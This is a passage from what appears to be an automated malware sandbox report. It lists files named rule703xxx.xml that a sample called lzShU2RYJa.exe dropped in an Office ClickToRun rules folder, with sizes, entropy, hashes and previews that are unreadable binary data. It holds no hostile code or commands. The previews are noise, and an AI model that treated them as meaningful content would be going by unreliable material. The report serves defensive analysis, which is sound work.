Preview:	<?xml..+........xP.D..n.wm=...5...r....]lZL.]$i.....,CgLE.O.^96 ........j..oj\......l.)5.e..!i...l^.S...,..r.%Z....)#.+.......^....Y&.6.D...C&..@....>....!.........~.E..l..d..0...Y....G1....6Vt.gj..#..x.1v..g..(e..y..K"..0...5._..HVO...9k...!..kQ....O/}.5.....C.M..Dzl.....K.a1...j_.:......{6c...:...Ujv..\71...h...."..N.x..9.....b..!.M.l`R.1k.....N...z.....KXI......{..v........2fh.:..by,J.T.%.k.g.....#...r....;yl6..2.z.j.h...<.].{..E&..5g...<9.\....>.l...J......I....?....r..wK..g..-,Q!......,.'A.....3..qL........:.?./..N6e\.U.....5&.+.N..&..\`]...K!.k0d..\|2...l..sE>_.b3......[....)..A.\...S...?....H~...&.UI...J=KY^.x..?D...'S.{....k...y\|.E.F.C.P.3....j.X...k..9-....b....(]........qE.,"._..c....?:..B_aj..l.2....P[(.Z...86.G...QP3...$.Xw.....U.#..[.:B.ZUlL\.6.4.V..1..;m.1.+x..g]...._..........2...j..r...$$.7..h>aal.g.n.%...b...1.....Iz[L\..8....T.`m....u..G.=.`l.l.(K....0.Z.`.D..<s>.3\|...J....{.,.<.......8.2<.$..i0...H........M7.QI..G.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703000v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1702
Entropy (8bit):	7.8859392475727645
Encrypted:	false
SSDEEP:	48:DHpKxkhnApn+/zDl1+u43BU+pA45cDz4FD:DXU+/zD3+u43Le45cDz49
MD5:	3706BEEFFB16AB60CB676D687C4D12FA
SHA1:	0CAAA04EE1FA368944764F174960E75012A99365
SHA-256:	6208A79A97BF6A3FB91D92732231F91109505B0128053269B466E94A957CD79C
SHA-512:	168C30FFBFB4B05B5E1D7F2B351DA5A07FEE2D2F724292BF0D535E7B66F0A49813C3B344C8A24FD7D4DAF7F1EEC356B61DB94B3D46528757ADBC3DDEB0943A2B
Malicious:	false
Preview:	<?xml..'W..T....h>.iQ.zE....>.............=...5..o.b5..H..0QzD.%....... ...uN.......oHKN....!S+`tv8_.B...qQ...tyC.%E...Y;. s..... ..Ct..._g..P....~z.{..V$..>...j..Q.a.^.M.E.^..l;$w.{PG..M..8}..-..m.p..0.0......L.Q.t.8.}.H......./._...!gJc..P..c\|.%...$.%.k&...Cq$.~.....;..W,.fT}!..O...nt.g.....y.G...5hB.\|.mIy.h=..Q..=..h.gU.....~...D..@.U..L..}./...F.j..NV.6...5M....Q%....F..f_...!9..d..,sNvk..T..6....1.?..,.....(.9.).N... l..\|?.......h......P4.+..[..4..-i..^.....\|..`4....[.MO.x~....).(:...}.d..c...;.2S.......Q(.1....\|8......D".P.S#....)...H..3..q..FO.#].UR..v.FH%....6\../bF..7.X.i.B.A$6'....R..w....8.}.k..g..a.u."U$.h...N;.....&.....S..B..J......@.....}.i].T3.qf.\....Z..........3T.{.....O4;8.(c..yl.q....3.4P..4....C\n...4..>...8......c...+.......a...d.h.%...`..<..8Q........ .U.\|.0...9A....]..-:j.5..F%..I?......B=..V8.......;.m...f..*.....u ..a..3...d..z.c.....5.N....&.Nc..o...Me..v0....-..4...........E6.&V..c]>.N..5....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703001v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1739
Entropy (8bit):	7.899856385861496
Encrypted:	false
SSDEEP:	48:pCI+ul2A4LqjFaUJTYwhukIiBqHV4Y46k7GTIuhFD:kigAeqjQaTYoaiBc4V6k7HU9
MD5:	3EF2B75B6617554B47FE6ABCDE5E505C
SHA1:	B20C2BC303D4DF6CBA34AD32E9BC0E5CB78E5ED8
SHA-256:	8CD1E9398192D4D06020616E277EEA8654202D57F2A25BAF3E70DC641C4B6D14
SHA-512:	6A55432AD024277B72158F45FEE3CF2FFE4A3F68831EB460B75997B5A3D93E6F2A089F345DFC544B5FBD3990FE01437736DD873251B34012E9763F6FEF6CA2CF
Malicious:	false
Preview:	<?xml.G..F...^.>Y\|..@.:t:.k....{.}..#RHsD..:?.)...Z..m.U.....ts.D3h...\Y.&...#.....QiP.N....B.am".J.;...'G....P^............/.....%........I..C.g...5t.X4.S.^.{..^.R!.h....$.[.....@a.0..O......M.......\...Z...R_.^[5.....eDmf.s..s.@yf..I:ot......3.8i.w]a...v..5..(....4$....Py._....t.../_{.Ii..1......G:..&..K...f...,.~........../.jT{......1...c\|.i.I..F..BA9m. ....:M.WV."/..y.%.jW.P.Ylb.v..}... t...NCf..L.xr..}.`<.K(.........g...p...U...E.&%>..Ps{M.S..iZ.V!L.8=5I..c...g.4.K..S[. .G...\.2A-.z#...fn..GP...N.K.E.D.........h.:]e\........ ...U>..o...R.M .TQ.....S...}..D...U*...%t(.0.@..d...z;{...$.95wx....$.or4f.+.$..G..%'.O...S.!...f..........Ad...7.I..[.t.....Q+...U.c...W....IK...dd..1r.B...).....c..N..z..v..u{....)..-.....A...i...>.]#R..9.Q3.r)..J..c.,.b7.....0$.I..fNu.c.....\|."...E..2^I.........e.1....$^......a.w..&.....X.}$....Q...b.bq...B{N.........8..i.......].r...+..R.8..b.....3..y...G.a./.s...../.&rN.:..;....,.J.M0...P...D.....B.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703050v3.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1724
Entropy (8bit):	7.899602710993627
Encrypted:	false
SSDEEP:	48:zAiT5LXc4qT05bAJGoqDIRmcDN5ojLfGz+FD:zA8qT050GsRm+gfv9
MD5:	D449FBE7B1C5B80FD8C2E7B0AECECDD5
SHA1:	6A54521E88A7C988D7BE925956CB951DECA62110
SHA-256:	DB3844394B59EA5AB045352238D9925535CDDF6FCF5B3737B016DFE1BDCD4613
SHA-512:	CE1A594502F81F908D16BFA3C3042C768C14255F641563E32BB8AF6F07C8E32D9C6A63A358C7AE93DE8FE305D8D4338903E73B5A860DE7D62B10E5960CEBF3C2
Malicious:	false
Preview:	<?xml"......p(....<........T..t4}={..z.ud.ll....\|.F@....t.\|+....@.`EB..).D....K...2[.K.#.n.\...I..o.a.ij...mb:..[..q.rQ.:..0.d.....G.J.........4..Z%&W.....+....2<GU.P<....c..hm.......C..XK!.....{.$.........Q.$t..d...>..HC.Xo...d.6X.H...kX.....J:.h...S...o..3...\|e..T.....5.1W..k..bH......>dw....@...5u.A.N..4h....p.eg.....?M3.....U..a.#..e3......5/...?.P.cz".<.@7....F.W..m......n.k....<....ftC.....%..ko..{'..& _...E8.....p<h..yTzt..a'..;.P.R..y:...."..I+.d..4o.,....?.L.X..S.b7..B.,.n#^[..8.....QB.f......S.Z;..Q.H=7I{m...l.8S"\|...W.W:u.H.8+..g'".\|.`=...n#.h.......y\.YT^.V.A.......l.y."...E...p.,........*'..+O.%..:s.K....>/.{UB..e...s%.4.................r4JD...........I.<Mu..z..O.)v[r$.Q...3q.i.Z"7v...B1+aOK~.H=.Q..5.R..9`.2.^,........&.U$..-eb`..u.xLx.&.'.........Z/^....jKdS`L..,...5).7BZ...i'6q<.GK.....0$.Q.]...@5...&9.e.:X{.x.;....+...\|.\!..6..K.....k.....0..)U..+..:&1....9h...e.....R\|.&.D7..g..8b>.}..(.X.B.K3.R.y....~.oK.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703051v3.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1761
Entropy (8bit):	7.875787815950674
Encrypted:	false
SSDEEP:	48:hU/jPwsNIADGDFfmyVc5QYeEHpXIp5MFD:hWjPhcz8QYh9yC9
MD5:	87966D912934363D15FF3D7B7CAA8203
SHA1:	C603D8E7E604576F58C2A1C49CA14B221C4173DB
SHA-256:	5465BFE824E612B5DDD1A184D1DD9D2B4AC0B85D884D2561BA05DDDE967745B0
SHA-512:	EF13A75E3D09B51F90607FB094F3931AEA21314A27250A77D365EA2FF00DB417766D47692DD82D79D3B57EFED864859190C6B269559F8BC8188101E5962D5CBF
Malicious:	false
Preview:	<?xml.}..N.z..~.g.....:6\|i.b=I..+d!m..h..X..@90.%.9..5.9......O.S....1;......1.....(B..{ddt...x..yF....&..G...wB.1.p.=/.........=..pk..^..BQ]........t...@....t...'.........a<...N.WS. W....iqX.=...Y.^..U..'.n%..0s....,...D.H.wV.wf.......N.mRT..........w.c..G....q.._D....d.o..N...q.......d...p...k.:V.s...(~Y.6.......<...I6..=D'WBX...Q....D.^..,I:...qaK~.U.;.Po.otC.q...f.v...k. ..r....}.^.:.5.y...i..O...X..-g^...Dd.w..u.=:..)Y..Dq......E...9>..1...+....T.2U..S~g..h;.$Y..q.4.7..N..oE...T.c...S..,.c..R.0.).jJ..PHn......kt.&I.1.8..^Z.mX..U.#u......(s..5b..BF.7....jf.d..H....D..ii/....X"-..7..YE..V..........R.0../K^_sp...?..U....!..tW...0.^....\/;}9f:...L...a.....I.J.9]P...:N..L......b....#W..........4{......D..}Z.H..M.J..}...~..!..,5..\.....@bwt....k.6.y.a..d.I.u.F\|....OD9.p.;.....0..-....&kG..D\|..y<.sH(....t.u....K.q7..[6....K.{m..........;Nz:...C&M;wP...^Ga.;o.\|...y.z.I..v........R...I...q....s......)...}..!mb+9.$Z....pP.."

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703100v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1689
Entropy (8bit):	7.882126852177407
Encrypted:	false
SSDEEP:	24:KnE5AIys3cck+FvK4eixgqgiXnMn6C2p/NBjj9Y2VvEgU06novEnTYZm//9X1Zni:EqdkIKZixg9251Nk0/w6U9XbnbeFD
MD5:	FABDE8DA79F9591B2E3525961BA28BC9
SHA1:	807F4C43B0D547BFE1B81FE25A3BD4ECDC36AA30
SHA-256:	707C59970B1133CAD62E1FF99C49B7FC37E2EA6A8202496CFB72F94B229DA783
SHA-512:	6CA249AF12563C383F97A0E343A4F8B5B26D2ED6C47F583F9AF1735DF1A37B8F08B60FA9C4CC91B749E078FBC97B14DAA3A34D7EADD93076ECD490834D4069E9
Malicious:	false
Preview:	<?xml.;..8..ft.vGA.w...<...$...`m..M.r.O..{.s.",.wP.....Wf...FR&8..F.h.P......C......#X.QW/CE.y).=.W..m..".b.....\|.....5.U.x..}........bOO...Tb.}........5....i._P.*..g.C.?.`..Ff.D......>..lt...:.1..a.,.<[p.<1..W[.D%....[.<A............'..!..r;......F%...O.LVo..x.j$.6..O....<...6N..U.n<:..f.9....P.?y.M....L".qk..jSZ.x.w.H......g..^..{.-.f.LI......s...W...O..v....D.L..}..Y..#[-..........'".k4{.3.di.....h..=...y\|...v.>....LY.u..(~R..;}-.."..o.g....?...M....g+.9......z.cVc....d...QT...,.....;c.>....dRM.....c.U....E4...c..a.6..........g..Z...I3D._By.....,.Y/...."..&.....}.IL...A..nt...6......H..!..;.>x......@..v....I..B..F.....p.}!i...J.U....!.....'7.C....;..]....w.any\|N7...Q......pFr4p.....X.^)<.8}CD_,...&..]...../1..W.qd..5.S..I.4Y..... ..06.I...n:....Ir6HP.k$.;v.z=.[W..t...3.......l...........9.=.!A.D\|+b..${..e.aM.k./..]...,.?k...s.Q.v...7s.%.}3...L.\..O....J@C.g.k.@'....@kN..5.d8..$..rt..suLw....wC}.K.y......\|...z.......{..-...\...t

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703101v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1726
Entropy (8bit):	7.897363662237523
Encrypted:	false
SSDEEP:	48:SFRoCd18TxTjaWE4kunQpPTRboY6CoinsLxVWFD:KRoCUTxBEPgk7RUYLols9
MD5:	3033BDF530ADADA1A2B8071FCA9D788A
SHA1:	7BA8B760470AD413DA7A33949CF04FB430191DE3
SHA-256:	40DE9C4C6D28E6BAD13F20B4C8A25C96D8B0695BCEEEE4B4DCF7E052BE554DD7
SHA-512:	E743FD65099D6182F16964746970D8FDEC25BE5700F00B886653EDF303FF91F3B4C84335498C4D5041FD0DFD42BA36402B818713534C51FD553A795FE8233E4C
Malicious:	false
Preview:	<?xml.k$.X@...D.,P....]....}.h..9t.q]LMp'.V]}U...H.H.\.E.3.nB..i.%..Ca.\.P......T..'.?]..!M.......C.........=.........d[!..c.tO=..p...%.Gd....3...+...K)..1J...$...Lc....O5...I....W.=.t-..=.[g..T.^.U........`&.^...c....e..^..<....;....b.b.J.....v.j!.$......aph.D....5..>kc.`...8.r<.1 .....BX/.[..UN.......x.zg...c...k.V.....-`#...+..}v_H.6_).j../. ..'..V.O....2&.....,.5~.Z....CoH.<D..s...9..DQ..N..z.&..r.x....aM.+9W..C~..{..+..bi.Ci..8....a.b\.....D..@.<w....".E0.n..v....z.8...j...U.....Xw..<....a..T!>.1."C1fD}..R<..[...N..=..~.Q.u7Z...;..Q..>:"...Zz:et..U..1...4(....!....^\|..$L.K.H=Mp.'N....F.OQ-y..1!..3D.]...K.......s0.).t.......O.O&.!y...3f.....1..M.......G.Iy-....!h.(....a..6......75..s...p.....a..=.....!..........HQ;.M.V.e.\d.....J.f3.&..\|2c.!,.>.b..2.E.m.;.L;....;C....Z........>n...<U.r.`.J#....~...Y2.....h.m..z.V.U..........V...7...g^g..#.&.....J@..DzZ.+:....uO.HMG..p+.QfR*..S..1o..]>..c...M...Jp.&l.J.1.2fP.....W....E.7.<\[).)N..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703150v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1707
Entropy (8bit):	7.861175795473803
Encrypted:	false
SSDEEP:	48:hZIeDFRkCHKPXLpGuo93kIR1gK5ytEOLFedt+RppgGFD:hZI1CHKTpGV1ZuEeAqpT9
MD5:	5FD10787BD8669437D75789B53EB6A07
SHA1:	DF08C946BB34425A353AA8999A37E96C98CF6B43
SHA-256:	DAA602474F05068972F777005DAC62DDCF632EFC09BE6DDE35CA9DF933488CC4
SHA-512:	AFD1F11612E74E31EB2AB45D2B0545C21935B306268569A106379DA63D4128903241B05CBD09FE4C98507D390A81D65E36191BD3260BFED1A6C5E151868D77DC
Malicious:	false
Preview:	<?xml.C...........P.?.....6H.........S....[..D.5y..-.......u!.o..}v5....?..nf/....1B.]!......C.....8.W@.p...c$]...\..4.b#.N2x..,<Zl6..<h.X...Ob\`R.......g.U....G.Sv.'e\|....).\|s...}h.e-....A...y..naL.F.`..2e.Ge^...H..O0...........n...w.e..~..!....:I..n....>......N. g6p.5..%.D...W.$.yS..~.q...<.Mm....FbP...(...f.;9T......~....6.....J......5.L.....p-zb.&.....3{...5....U.UC$d.=.>2.c........o.......o.M.?..P=.....;c%:[.c..=<.&.2..Bl.H..m....{.1)R4..k.......A..M...!LtT.w7..]xc.D.:...._uy..f...a.z..).uD.TU.zy..j.5..1.....nF.........a....a.........p.VB.{Z. ..._...i.0,...D....c...x..&K......m...!...... ..5...>j....a.1.$H..e.~.&\....A9..,;.P.G..Y.........}Y7..e.....lg.0.k..........[\_...K6....c..i.].!...p/0Zg.y...6.T..).........]..Y8..s.Av......:.bT~n..%.4...^_....{c.3..U.C.Q.Ij-.!..PW.Q_..p..Z.D...F..4...i{...@7..nW.w.R<.4...J@..`.....6...!...:..........C2.Km.F.e:C..)2S.._4.;Tj0#..=,....fA..`..*e.kA.;8~...3.%t..S..~.m.;f..PL.8....pe..g..v`.<..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703151v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1744
Entropy (8bit):	7.88593752173058
Encrypted:	false
SSDEEP:	48:1Hs1r8EpOmUgS8sqTMnMsepz1u5Xa89U2FD:GrhUmyzPnKpZ0dS29
MD5:	682B23FB82E2C5D865F3075B8EEEFE49
SHA1:	7C0A653627C4BD3687C8091C63686B372BF903F8
SHA-256:	5DEA162EF1E01F8A2DB21B073462AEABC5FB9EAB1CF6398CE56243C1268C6125
SHA-512:	83C73AA0F8F1CB627616A6FA3FAC8647ADC6495CF040D2C667C02965B58528C93750A2F32508E2111D46147E5B05106DB044937A1C99BCB0EDC03A13B13692BF
Malicious:	false
Preview:	<?xml..N...\|..4.5..g.d.-......:...>L....qQ..?....u.L.F..........]...~.F6.I.>u`..D...bAD.T`%...)pi K.`b.+\|k.-...I..8op..K.p8.w'KO.F..<NDNK.p..."q.....;$.I5q.7~........Z..27..l..Q.h...._.pv..:.^.:.$.....Vj.y..?...<<s...'...... .S..B...dv2\O.&.n.....J0 CE5%p\.._....("73^.&....g...t..g.... 3..NER.~....n ..J.)tG........q......\|.E.........j.82..BX%...k........0DX..............4U....$.Y....i.i..T..<0W%..]FB.......8:1y.-6).3.......{..Y....l....}....[...# ..]%..W.d...w.{a.d/....Xs.h....$...c..........A.Ni.V....z!2....4...[...f...S..r.byO/..9,_=O.......J............-p>.(.F...pn.{...w.a7..i.......4...6....>...W-..;..A.........v.l\H_KI.....1........ys,....}C...Ef....7.d}..>...T".k..i...#r.`..).11\...]'...4...fy"2+...\........`I....E.V.....+.[.s.O.\|..P..Y.~.V...zVs2z....../...^....-O..oe..._...`Z .9T...g.h..8..^wF.r1[A..^......Oy..`.Y.#E'W.......F.....Jl.^.hD<....=....*..\.......k.R..q...y...M...%(<...............O.%.....h...C\".b....'..7

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703200v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1695
Entropy (8bit):	7.89930866556631
Encrypted:	false
SSDEEP:	48:DTJdUd3zpQEHJ2OPkgn8uVXU7sbPFp1VpFD:DTDUd3zpQEpjF8uVk+1Vp9
MD5:	2A8360DA474D51128F3CB308EBF3B05C
SHA1:	8EC04F26908A53CE7BB9F2EE08A24862AFD2CC1F
SHA-256:	DEA7C6ADA6B8CF4A502C513283D39F7224E342A18A9F2596AA2966D575B822A5
SHA-512:	052ECD001DCF188851D5BC19B6FCE0ED8134AC8CE3939E0EE24B668A5D690AB1B4EF6ECC8FE1DDF2DE1D5C019B23F581366F23EA6C27C7E3F198C8FFA27DF729
Malicious:	false
Preview:	<?xml.....S.5.....f8."..D"..}..:....^@W..8....=.7...Q.h......\.I....GW.K[."x.s.[as.5.X.,F...>Q..#f.=x1..W.w..dI.m.&h.Y0..a..T....... )2L..m.O.,...^_w_.X....W.!!.l........g%.]....i..A.....i.ufN...4Y`...\|..A...\.6.+...L..o\_....u..........&FK.Zj..!.a.....v\|....)Z..rWp.VI!.'.[ub.......m...'.J.F.V.E2N:...\|...!.!.L_..n?.L.I..L.00..t.^..8......o...f..O..z.......9......T..R..uiJM..@ s..<...6..W...l1..;...hv..K...;...Ol....w.'P.....rr..$l..\^.[.....2!.3..rw+..w<9k....#T(....;..kZqY..+..O.K.uZ.S-<...).+e/./d.).M..g<.Fy..LA....[=....~$......@..S..K'?sn....Ksd.XD..~..T..od.8H@..~;..q.........'..g.<.D...2.A....O.'.....].....`X./..g.).".C..1......9....MtN...(..xJ......`.......q..xx.....Y.J....[..s".....JN(_j......!.......S.....'._=Ae.~wG.Y;4..}.q.CR.....z.\|V%.....G..!.U....yyBZ..SY_6.....a....+!.l.f...4.....M..a......rF..b...yu...;.~.L.0.[..fOg..]U.J..E.E....0^..iW..\|l.. -.C.-.S...+..\|.r...gs.NO.>..>..8..;t.Q.G.(..m......v....C............R...'...y..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703201v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1732
Entropy (8bit):	7.890659053650508
Encrypted:	false
SSDEEP:	48:d+OF9FuJDREHL2ClXL5NkepH7Qolj7y//+dkIFkhvXFD:d+0QKr2qVNkeGI2//+dWhvX9
MD5:	98388376AC2F7AED3B3967079AB2F332
SHA1:	4EF4E80B09BCF73149B73ED91262A3E5D1211613
SHA-256:	4D052F2748F3BDDD99D22F8AF1DD7B172A1D5738EF957976592B7CAD3BC29748
SHA-512:	5B95936F1E3396E98D76A7A320A7232E135908CCE77B73A7BC1390D48617B96D6E00BD88A9B23C914C589019B6999D7B4C29512F3C59799356DC8DC1B2F2B1EE
Malicious:	false
Preview:	<?xml...XMU.....G.}...r.\|q......[I...^.}...-..L-..'...=.A.S...L...>G....B......k..t7B..aT.Iv...x-..K.c3.Z.-....Lb..d.e..a...I...0".#....v.mu...W..h...FYU7..".b.o...~..Ls...&d..t...GX.X@s....fg{.:.M..........q..!.O....._U.KG.jW..A4V..vD}..a.q..S....H..6..<g.xZ~>}..L.4.F.t.].y..C.].^.G....Cq.F/... ..7..J..h.2.G..0....6..d.J.b.g......>.H....&Qj}s&.)q.\|u.......k).5>....d..QQ.=.8T.v..........`...hn...sx.f...I{...Ar..M!......dq.Ld.2...#ri.c.<.JM..TN}.0.^.....O..cx.^.}...<...0....D.6.&...0.8...W..."..~......`...mU$@G.......(..1.U{..p.q...1z....h.1.{...i.(c;)\o...a..#.\s..<......X.yl{......N(v..8...Q.R..R.v......]Km...R.X.OP....j0s..F.....X.'y./...!t#...)x.h...BPU...@sL7.>....@I.=..b.. .E%.Qv....}...m08s.....o....$.L..k..k.UQn....V...J.....`.h.......s!..k.....8.:3...5I....uP..yD.b..U..,.Bw."..O......0Me.;.-.-x.?......P.Ki....@p*R:..cc.V.C".....$.._./.dq.....sd..}.C......6...\|..dFx=.D....7..X..tHV...6.}N.$..x.cxI.a.G%.~...Q."..e. .Gn'..p....(s

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703250v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1693
Entropy (8bit):	7.885542085961953
Encrypted:	false
SSDEEP:	48:TarZ1APcr97/fTPrJB4m90fnQ2q9afWFD:5E9/PrJB4//Q2A9
MD5:	E0528BCF57DF6F27C238D805C26ACE8F
SHA1:	586A870BD0997A68E2713CC44822F06C09C6AC39
SHA-256:	08D449FF87775E9808EBBA3AA896C3D0431006E72230327847830C66D6FF9B7E
SHA-512:	211BCED4D5D3D3FD10BA82F654881D7034A4BB9AEAD19D043775AC8446393041629B892302B7D0C46E7A843AF2727D03F6D45DA2EF0A3F239CE5C291E48DC690
Malicious:	false
Preview:	<?xml.:5...h..')l.h..VK0..i.d.V8(...R.;.(...M........?+"'B.l....iW.QCJ......s....[m...CY.2..S....s^;.......C.......juH......B9.....R... +..Bn........d..........q.5..N..a.z..q..Bo.t..;..Rt.q....G...t~YzFH.QKy...[..}4 .s...n,D".,....7.t../...L..-..'Q&.B...r.9,P(...:b..;4...._R...v....TS[...<.D..W..#.-....s...+...5.`.ox.{Q..u..6....)M.j..{g..A..x.C...%..E\|....OB+,....b.V)..G]8.!u..........R.GcE....Z...(.E.0.6.u..i...#?.s.S...).}..xK..i.@....c.t.n._...F2.;.....53xq.[..w......$$......B..8GL.'...:$.8.o....7..M&.<......z.Z...e1..$C.8Q}3.G..exs=#..n. .....g;.....M.g.....x...g...(G..=...K..T,\|..b...+.....{....+...w#..Kl^!.....gb`..4....1Mm."Iz.W.W@^..K...V,e...qr..8_..0.kvJ.P4T......~C.4J..P4..f.{.~.X...HDR_..G.R....].c....E0.r.Q.A9>n......0....._Q...6...w.O..'...g.0...}.dD.8.....[...^..B........{$6).9..gJ2N-..qZ.SywTo..e.r.Pfyy.}...+uNw...6..i.%<m..U..{.na.........%j........].u.I..0..l.U..\|.j.Wj.....f1..g.\...4....L(M.6..R\|\|.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703251v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1730
Entropy (8bit):	7.896986670830704
Encrypted:	false
SSDEEP:	24:W+7ZrqK/jDA+k2KhTyosKIWTZl6/pT5y85VZMrf+FgQR5gD96/XtB0kqHvdbEvHt:bZx86KVCTQEVD38fKH6QXtnqH1Cw6FD
MD5:	F677393EF71C7ECC33155DBE910D30D9
SHA1:	650BD13FEB587AEB5B5ABDAD7785D19CD1486BEC
SHA-256:	819BE50ABF434877DE2576A1A20FF0B8A4CE026F5755F55C623376D398315B5D
SHA-512:	0491335B91AA1A8F45B04C2E1A3B37095587B7B4C740AC8E3EC60519021A951D62A7BFF4C7BC828A21B11F163D76E70957DE516116431F1B1606729049B6FAAC
Malicious:	false
Preview:	<?xml.\|...>.........}..z0..\..aU...T.I..........]uxK=5~.(.....X ..A.^&._..1.:.d..d...0{6.<9^sY,.g#w..F.ie^-a........mv\W..7.......'7.n..i...?.b.W.......Y.n..k.-J.....~...........a.n.-@e.0.U....../.p.......Zs....)B0.X...Mu.;..=-K..&Rm[+..NI....f.......H&.4.d.....q... .....m..;.M._..c..m..o.....t..7.M..:X.V..1CL.n..o.H.5Y$.vY?..U..,K.....1...y.^.@.#N6A%@....<...h.tQ....?W.r........X^......t".B......>!`.4.....w.Z..(hb.N....5.$+jV.x.4..PXv%...h....t..._.W..y.....4.....`r....l%/..i8....T..r....m<zA....T.U<..}x....I...]../C..Z..'{..1....!t.XC.b\p..&.\|....T..... ...!.'..va...j..;.....)^.L...3..=.^..t...]..w9.6W1eXeP..o^o..3Wu...) ..<.#......L...g.X.d..B...I\|TF..o..J...\|.~.@l8.bo.l$.ad..8.1.2.i..`Qa..sq..Iw..ek.o..n...B....]g~.....cw}YdSA.....t.....G...C9.et#..*x..,..4..[^=.....^D......g.".w...O:.qd!%...2...fa..<..M..b&B>...j2.....1..v.\9_2-c.r. 3..f.`.h.A....lAD.c.ctp....>o\|.O.n...W1#/.~..8..Ni..5....<u....-...=.Z:D.:..FH6.Rn.waE.A..&....4;.4a...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703300v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1715
Entropy (8bit):	7.8783110792426285
Encrypted:	false
SSDEEP:	48:QH4E8PfOGstJ3e/7MNBRmvNy9ILcq5m5lH7cFD:84znOGy3pNBeNyOc95x7c9
MD5:	C487DDB72846DCE085AD451129119FC0
SHA1:	C127A9D0C0DB013DF715AC96F07D2E3F9D1CA43E
SHA-256:	B23EE13E7CC505DBEB4A039D90BA64446379A0B5701F361AC3ED6B0669AC15C4
SHA-512:	8F73390B675980950186C04000FB7E4E98C0576130186F7202D1CA57C2BF00CF16887F4181FFF8E671FDCCB42F5AF43CFABB078377E942F3768751490FE43E40
Malicious:	false
Preview:	<?xml......)$..!..E.[...l.l.Go..Z>I.~..B..df..A"..o`xD.....o$..._4..b.t.$A.....WG. p.&W.3.......[?.[......p..f..g............$j!.....`.M...t.....y.2 ..h..c.V0...k.s......)....).....jNh5&+7.GK.H8.v.x.A.2g0.....j..l.....Up..v...~48}y.Y.......,...T..}...kE..sj.....6..J..tD....&._...p.\|o.....G......:.......1..R.Gi.......U.XQ.T.x.}+.....<9..R<.d.A.!............B...l.b....n....^F.I.:......2q.g.IP.L.eJQ...........V$S.n6...U.GO....z.G..P..o.nj....{....a...@.?.GL/..v.N3Y...Q.y#9Q.[..GA.R>.8qJ.@..Z..>...Y.E.vg.>.(.x+j.a..i&E.f.@V.W..,...A..L.f......P...(.s..$..A....a.H....jf..d.'x...j.....k.......G.l..Q.WRX3Y.W...r].W.v..GqD....I"\|.\|L..D..w.ki.....=(...i.*..Yc.....=../R[..I$.@..VL.tIo.. @.X......4<.4.....2.....w. ......a....S..a....!..[6.U.......`.Y.=Fa.,+....7.U.p..m.k..!..#...C..@..R...A.>.%....H..ZA...}.....m.)....oa.7.8..+.>.}..=.`.t..UZ..]...+.kn..y[-..,....U.av.W9>..50 +.'bb...v]J....x.^)R..x.>Zh.L.T.Z..Qd.W.+2........;2....PL".N.F.F..'..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703301v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1752
Entropy (8bit):	7.878751281786819
Encrypted:	false
SSDEEP:	48:O34HVUS1pFJxSENvvMYuDYP4pFzXSizwAoWPN1DjFD:O34uS1plSMvQDfFzSiE5mDj9
MD5:	821DC54074E1E208905F225BF9BAB6E3
SHA1:	548C339BE077C0174B6B0AF59CAB652F0CBCF48F
SHA-256:	A96BCDBBE351E0059910D8E1C7CD0FF3B7642E1050E107971BC45E988BB4B3DC
SHA-512:	BB43D753A1F6FEF1CFD0207B0DB7B871EA3FCD3F1C008BA78D63DAFCC3027BDE2B8209D3DD7D3585B2A2F6956BB98E2AE9E33C9C8F72BBFB956861DE22F3987B
Malicious:	false
